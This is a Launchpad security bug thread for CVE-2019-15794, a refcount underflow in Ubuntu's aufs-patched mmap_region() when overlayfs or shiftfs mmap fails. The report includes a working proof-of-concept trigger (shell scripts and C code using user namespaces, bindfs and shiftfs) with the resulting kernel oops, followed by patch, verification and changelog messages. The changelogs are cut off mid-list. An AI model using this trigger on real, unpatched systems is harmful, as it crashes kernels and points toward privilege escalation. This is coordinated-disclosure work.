ubuntu-aufs-modified mmap_region() breaks refcounting in overlayfs/shiftfs error path

[Jann Horn (corp account)]

SRU Justification

Impact: overlayfs and shiftfs both replace vma->vm_file in their mmap handlers. On error the original value is not restored, and the reference is put for the file to which vm_file points. On upstream kernels this is not an issue, as no callers dereference vm_file dereference vm_file following after call_mmap() returns an error. However, the aufs patchs change mmap_region() to replace the fput() using a local variable with vma_fput(), which will fput() vm_file, leading to a refcount underflow.

Fix: Restore the original vma_file value on error.

Test Case: See below.

Regression Potential: Minimal. As stated above, other callers of call_mmap() do not dereference vma->vm_file when it returns an error, and the one which does is fixed by these patches.

Notes: Supported kernels prior to disco are not affected as overlayfs did not support mmap until 4.19, and shiftfs was not present in Ubuntu kernels before disco. The issue is mitigated for overlayfs by another bug which is preventing unprivileged mounting; a patch for this issue will be sent separately.

---

Tested on 19.10.

Ubuntu's aufs kernel patch includes the following change (which I interestingly
can't see in the AUFS code at
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):

==================================================================
+#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__)
[...]
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
        return addr;

 unmap_and_free_vma:
+ vma_fput(vma);
        vma->vm_file = NULL;
- fput(file);

        /* Undo any partial mapping done by a device driver. */
        unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
[...]
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
+{
+ struct file *f = vma->vm_file, *pr = vma->vm_prfile;
+
+ prfile_trace(f, pr, func, line, __func__);
+ fput(f);
+ if (f && pr)
+ fput(pr);
+}
==================================================================

This means that in the case where call_mmap() returns an error to mmap_region(),
fput() will be called on the current value of vma->vm_file instead of the saved
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
returning an error code.

overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
see ovl_mmap() and shiftfs_mmap().

To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
to bail out with -ENODEV if MAP_SHARED is set.

I would have used overlayfs instead, but there is an unrelated bug that makes it
impossible to mount overlayfs inside a user namespace:
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
already has the same value. This causes mount_too_revealing() to bail out with a
WARN_ONCE().

Note that this PoC requires the "bindfs" package and should be executed with
"slub_debug" in the kernel commandline to get a clear crash.

==================================================================
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0

user-Standard-PC-Q35-ICH9-2009 login: user
Password:
Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

0 updates can be installed immediately.
0 of these updates are security updates.

user@user-Standard-PC-Q35-ICH9-2009:~$ ls
aufs-mmap Documents Music Public trace.dat
Desktop Downloads Pictures Templates Videos
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
#!/bin/bash
set -e

mount -t tmpfs none /tmp
mkdir -p /tmp/{lower,middle,upper}
touch /tmp/lower/foo
# mount some random FUSE filesystem with direct_io,
# doesn't really matter what it does as long as
# there's a file in it.
# (this is just to get some filesystem that can
# easily be convinced to throw errors from f_op->mmap)
bindfs -o direct_io /tmp/lower /tmp/middle
# use the FUSE filesystem to back shiftfs.
# overlayfs would also work if SB_I_NOSUID and
# SB_I_USERNS_VISIBLE weren't defined to the same
# value...
mount -t shiftfs -o mark /tmp/middle /tmp/upper
mount|grep shift
gcc -o trigger trigger.c -Wall
./trigger
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>

int main(void) {
  int foofd = open("/tmp/upper/foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (badmap == MAP_FAILED) {
    perror("badmap");
  } else {
    errx(1, "badmap worked???");
  }
  sleep(1);
  mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
}
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
badmap: No such device
[ 72.101721] general protection fault: 0000 [#1] SMP PTI
[ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
[ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 72.202815] Call Trace:
[ 72.203712] mmap_region+0x417/0x670
[ 72.204868] do_mmap+0x3a8/0x580
[ 72.205939] vm_mmap_pgoff+0xcb/0x120
[ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0
[ 72.210078] __x64_sys_mmap+0x33/0x40
[ 72.211327] do_syscall_64+0x5a/0x130
[ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 72.214177] RIP: 0033:0x7faa3ecc7af6
[ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
[ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
[ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
[ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
[ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
[ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
[ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
[ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
[ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
[ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
[ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
[ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
[ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
[ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
[ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
==================================================================

Faulting code:

0000000F 55 push rbp
00000010 4889E5 mov rbp,rsp
00000013 4157 push r15
00000015 4156 push r14
00000017 4155 push r13
00000019 4154 push r12
0000001B 488B87C8000000 mov rax,[rdi+0xc8]
00000022 4C8B6810 mov r13,[rax+0x10]
00000026 498B4528 mov rax,[r13+0x28]
0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE
0000002F 0F8497000000 jz near 0xcc
00000035 4989FC mov r12,rdi
00000038 4989F6 mov r14,rsi

As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

[Seth Arnold (seth-arnold)]

Hello Jann,

Excellent report, as always.

Please use CVE-2019-15794 for this issue.

Thanks

[Seth Forshee (sforshee)]

Jann: Thanks for the report!

The master branch of the aufs5-linux repo does not actually have any aufs code at all, you have to look at the other branches. E.g.:

https://github.com/sfjro/aufs5-linux/blob/aufs5.3/mm/mmap.c

Imo shiftfs and ovl should restore the original vm_file value on error. This is simple to do, and giving the pointer to the lower fs file back to the caller without a reference seems like a bad thing to do regardless. I'll produce some patches.

I'll also open a new bug for the SB_I_NOSUID conflict.

[Seth Forshee (sforshee)]

Note that the above patches are for eoan. overlayfs has supported mmap since 4.19, so the overlayfs patch is also relevant to disco.

[Jann Horn (corp account) (jannh)]

Ah, sorry about the mixup.

In that case, are you going to send the overlayfs part of this upstream? While this combination of unprivileged overlayfs and aufs probably (?) doesn't exist outside Ubuntu, at least for people who install aufs on upstream Linux systems, it's still wrong in theory... and one could argue that the current overlayfs mmap handler is just a dirty hack and should be cleaned up regardless of whether it manifests as an actual bug or not.

[Seth Forshee (sforshee)]

Correct, I don't think the unprivileged overlayfs / aufs combination exists outside of Ubuntu, but I do intend to send the patch upstream regardless.

[Jann Horn (corp account) (jannh)]

Great, thanks!

[Seth Forshee (sforshee)]

Tested the patches for eoan with disco, they apply cleanly and correct the issue there too.

[Tyler Hicks (tyhicks)]

Jann, we're going to make this one public and take it through our regular Stable Release Update (SRU) process. Thanks again for the report.

[Seth Forshee (sforshee)]

Patches sent: https://lists.ubuntu.com/archives/kernel-team/2019-November/105302.html

Opened bug 1851677 for overlapping s_iflags.

[Seth Forshee (sforshee)]

Attaching all-in-one test case for testing patched kernels.

[Ubuntu Kernel Bot (ubuntu-kernel-bot)]

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-eoan' to 'verification-done-eoan'. If the problem still exists, change the tag 'verification-needed-eoan' to 'verification-failed-eoan'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

[Ubuntu Kernel Bot (ubuntu-kernel-bot)]

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-disco' to 'verification-done-disco'. If the problem still exists, change the tag 'verification-needed-disco' to 'verification-failed-disco'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

[Kleber Sacilotto de Souza (kleber-souza)]

Verified on disco using the reproducer (kernel version 5.0.0-37-generic).

[Kleber Sacilotto de Souza (kleber-souza)]

Verified on eoan using the reproducer (kernel version 5.3.0-24-generic).

[Launchpad Janitor (janitor)]

This bug was fixed in the package linux - 5.0.0-37.40

---------------
linux (5.0.0-37.40) disco; urgency=medium

  * disco/linux: 5.0.0-37.40 -proposed tracker (LP: #1852253)

  * System hangs at early boot (LP: #1851216)
    - x86/timer: Skip PIT initialization on modern chipsets

  * drm/i915: Add support for another CMP-H PCH (LP: #1848491)
    - drm/i915/cml: Add second PCH ID for CMP

  * Some EFI systems fail to boot in efi_init() when booted via maas
    (LP: #1851810)
    - efi: efi_get_memory_map -- increase map headroom

  * seccomp: fix SECCOMP_USER_NOTIF_FLAG_CONTINUE test (LP: #1849281)
    - SAUCE: seccomp: avoid overflow in implicit constant conversion
    - SAUCE: seccomp: rework define for SECCOMP_USER_NOTIF_FLAG_CONTINUE
    - SAUCE: seccomp: fix SECCOMP_USER_NOTIF_FLAG_CONTINUE test

  * dkms artifacts may expire from the pool (LP: #1850958)
    - [Packaging] dkms -- try launchpad librarian for pool downloads
    - [Packaging] dkms -- dkms-build quieten wget verbiage

  * update ENA driver to version 2.1.0 (LP: #1850175)
    - net: ena: fix swapped parameters when calling
      ena_com_indirect_table_fill_entry
    - net: ena: fix: Free napi resources when ena_up() fails
    - net: ena: fix incorrect test of supported hash function
    - net: ena: fix return value of ena_com_config_llq_info()
    - net: ena: improve latency by disabling adaptive interrupt moderation by
      default
    - net: ena: fix ena_com_fill_hash_function() implementation
    - net: ena: add handling of llq max tx burst size
    - net: ena: ethtool: add extra properties retrieval via get_priv_flags
    - net: ena: replace free_tx/rx_ids union with single free_ids field in
      ena_ring
    - net: ena: arrange ena_probe() function variables in reverse christmas tree
    - net: ena: add newline at the end of pr_err prints
    - net: ena: documentation: update ena.txt
    - net: ena: allow automatic fallback to polling mode
    - net: ena: add support for changing max_header_size in LLQ mode
    - net: ena: optimise calculations for CQ doorbell
    - net: ena: add good checksum counter
    - net: ena: use dev_info_once instead of static variable
    - net: ena: add MAX_QUEUES_EXT get feature admin command
    - net: ena: enable negotiating larger Rx ring size
    - net: ena: make ethtool show correct current and max queue sizes
    - net: ena: allow queue allocation backoff when low on memory
    - net: ena: add ethtool function for changing io queue sizes
    - net: ena: remove inline keyword from functions in *.c
    - net: ena: update driver version from 2.0.3 to 2.1.0
    - net: ena: Fix bug where ring allocation backoff stopped too late
    - Revert "net: ena: ethtool: add extra properties retrieval via
      get_priv_flags"
    - net: ena: don't wake up tx queue when down
    - net: ena: clean up indentation issue

  * Add Intel Comet Lake ethernet support (LP: #1848555)
    - SAUCE: e1000e: Add support for Comet Lake

  * Intel Wireless AC 3168 on Eoan complaints FW error in SYNC CMD
    GEO_TX_POWER_LIMIT (LP: #1846016)
    - iwlwifi: exclude GEO SAR support for 3168

  * tsc marked unstable after entered PC10 on Intel CoffeeLake (LP: #1840239...

[Launchpad Janitor (janitor)]

This bug was fixed in the package linux - 5.3.0-24.26

---------------
linux (5.3.0-24.26) eoan; urgency=medium

  * eoan/linux: 5.3.0-24.26 -proposed tracker (LP: #1852232)

  * Eoan update: 5.3.9 upstream stable release (LP: #1851550)
    - io_uring: fix up O_NONBLOCK handling for sockets
    - dm snapshot: introduce account_start_copy() and account_end_copy()
    - dm snapshot: rework COW throttling to fix deadlock
    - Btrfs: fix inode cache block reserve leak on failure to allocate data space
    - btrfs: qgroup: Always free PREALLOC META reserve in
      btrfs_delalloc_release_extents()
    - iio: adc: meson_saradc: Fix memory allocation order
    - iio: fix center temperature of bmc150-accel-core
    - libsubcmd: Make _FORTIFY_SOURCE defines dependent on the feature
    - perf tests: Avoid raising SEGV using an obvious NULL dereference
    - perf map: Fix overlapped map handling
    - perf script brstackinsn: Fix recovery from LBR/binary mismatch
    - perf jevents: Fix period for Intel fixed counters
    - perf tools: Propagate get_cpuid() error
    - perf annotate: Propagate perf_env__arch() error
    - perf annotate: Fix the signedness of failure returns
    - perf annotate: Propagate the symbol__annotate() error return
    - perf annotate: Fix arch specific ->init() failure errors
    - perf annotate: Return appropriate error code for allocation failures
    - perf annotate: Don't return -1 for error when doing BPF disassembly
    - staging: rtl8188eu: fix null dereference when kzalloc fails
    - RDMA/siw: Fix serialization issue in write_space()
    - RDMA/hfi1: Prevent memory leak in sdma_init
    - RDMA/iw_cxgb4: fix SRQ access from dump_qp()
    - RDMA/iwcm: Fix a lock inversion issue
    - HID: hyperv: Use in-place iterator API in the channel callback
    - kselftest: exclude failed TARGETS from runlist
    - selftests/kselftest/runner.sh: Add 45 second timeout per test
    - nfs: Fix nfsi->nrequests count error on nfs_inode_remove_request
    - arm64: cpufeature: Effectively expose FRINT capability to userspace
    - arm64: Fix incorrect irqflag restore for priority masking for compat
    - arm64: ftrace: Ensure synchronisation in PLT setup for Neoverse-N1 #1542419
    - tty: serial: owl: Fix the link time qualifier of 'owl_uart_exit()'
    - tty: serial: rda: Fix the link time qualifier of 'rda_uart_exit()'
    - serial/sifive: select SERIAL_EARLYCON
    - tty: n_hdlc: fix build on SPARC
    - misc: fastrpc: prevent memory leak in fastrpc_dma_buf_attach
    - RDMA/core: Fix an error handling path in 'res_get_common_doit()'
    - RDMA/cm: Fix memory leak in cm_add/remove_one
    - RDMA/nldev: Reshuffle the code to avoid need to rebind QP in error path
    - RDMA/mlx5: Do not allow rereg of a ODP MR
    - RDMA/mlx5: Order num_pending_prefetch properly with synchronize_srcu
    - RDMA/mlx5: Add missing synchronize_srcu() for MW cases
    - gpio: max77620: Use correct unit for debounce times
    - fs: cifs: mute -Wunused-const-variable message
    - arm64: vdso32: Fix broken compat vDSO build warnings
    - arm64: vdso32: Detect binutils support for dmb ishld
    - serial: mctrl_gpio: Check for NULL pointer
    - serial: 8250_...